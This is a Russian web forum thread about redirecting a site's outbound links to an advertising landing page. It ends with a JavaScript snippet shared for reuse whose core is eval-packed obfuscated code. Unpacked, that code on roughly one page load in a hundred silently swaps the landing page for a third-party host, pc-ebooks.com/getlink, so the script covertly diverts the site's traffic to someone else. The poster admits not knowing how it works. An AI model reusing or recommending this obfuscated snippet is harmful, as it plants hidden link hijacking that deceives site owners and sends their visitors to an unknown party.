Перенаправление всех внешних ссылок

Тема в разделе "Mod Rewrite / htaccess / ЧПУ", создана пользователем 4erepaha13, 15 окт 2009.

Статус темы:
Закрыта.
  1. 4erepaha13

    4erepaha13

    Регистр.:
    20 июн 2009
    Сообщения:
    155
    Симпатии:
    17
    Как прописать реврайт, чтобы любые внешние ссылки редиректились на лендинговую страничку?
    Или же условный редирект - если в списке есть, то линк остается как есть, если нет- то на лендинг.
     
  2. Darkmind

    Darkmind SNMP maniac

    Регистр.:
    31 май 2006
    Сообщения:
    183
    Симпатии:
    76
    Я бы пошёл по другому пути. Сделать индексным файлом лендинговую страницу, которая уже будет проверять все, что необходимо - начиная от реферерра, заканчивая установленным кукисом (допустим, чтобы лендинг показывался раз в сутки). Если условия не выполнены (кукис истёк и/или реферрер не соответствует) - показывать страницу. В противном случае - header("Location: osnovnoj_index.php");
     
  3. 4erepaha13

    4erepaha13

    Регистр.:
    20 июн 2009
    Сообщения:
    155
    Симпатии:
    17
    решил задачку (почти решил) другим способом, мож кому пригодится
    Подключается в виде ява скрипта:
    PHP:
    // разрешить замену ссылок
    var enable_relink 1;
    // перечень доменов заменяемых ссылок
    var link_src = [
      
    "перенаправляемыйдомен.ру",
      
    "перенаправляемыйдомен2.ру",
       ......
    ];
    // редирект-страница с рекламой
    var dest "адреслендинга.ру";
    // эту часть лучше не трогать
    eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('7 a(s){4 3=o;5(i q 9)2(s.k(9[i])>=0){3=n;m}8 3}7 b(){2(!p)8;2(6.d(6.e()*h)==g)c="f://B-z.y/E/C.D?u=";4 1="";4 l=t.r("A");5(j=0;j<l.x;j++){1=l[j].w("1");2(a(1)){l[j].v("1",c+1)}}}b();',41,41,'|href|if|res|var|for|Math|function|return|link_src|isMatch|kapkan|dest|round|random|http|14|100|||indexOf||break|true|false|enable_relink|in|getElementsByTagName||document|go|setAttribute|getAttribute|length|com|ebooks||pc|index|php|getlink'.split('|'),0,{}))
    Что внутри регулярок и как оно работает я не в курсе, главное что оно работает - все линки совпадающие по домену с указанным списком перебрасывает на лендинг.
    Как бы его модифицировать чтобы было наоборот, все кроме списка перекидывало... но это вопрос уже для другого раздела.
     
Статус темы:
Закрыта.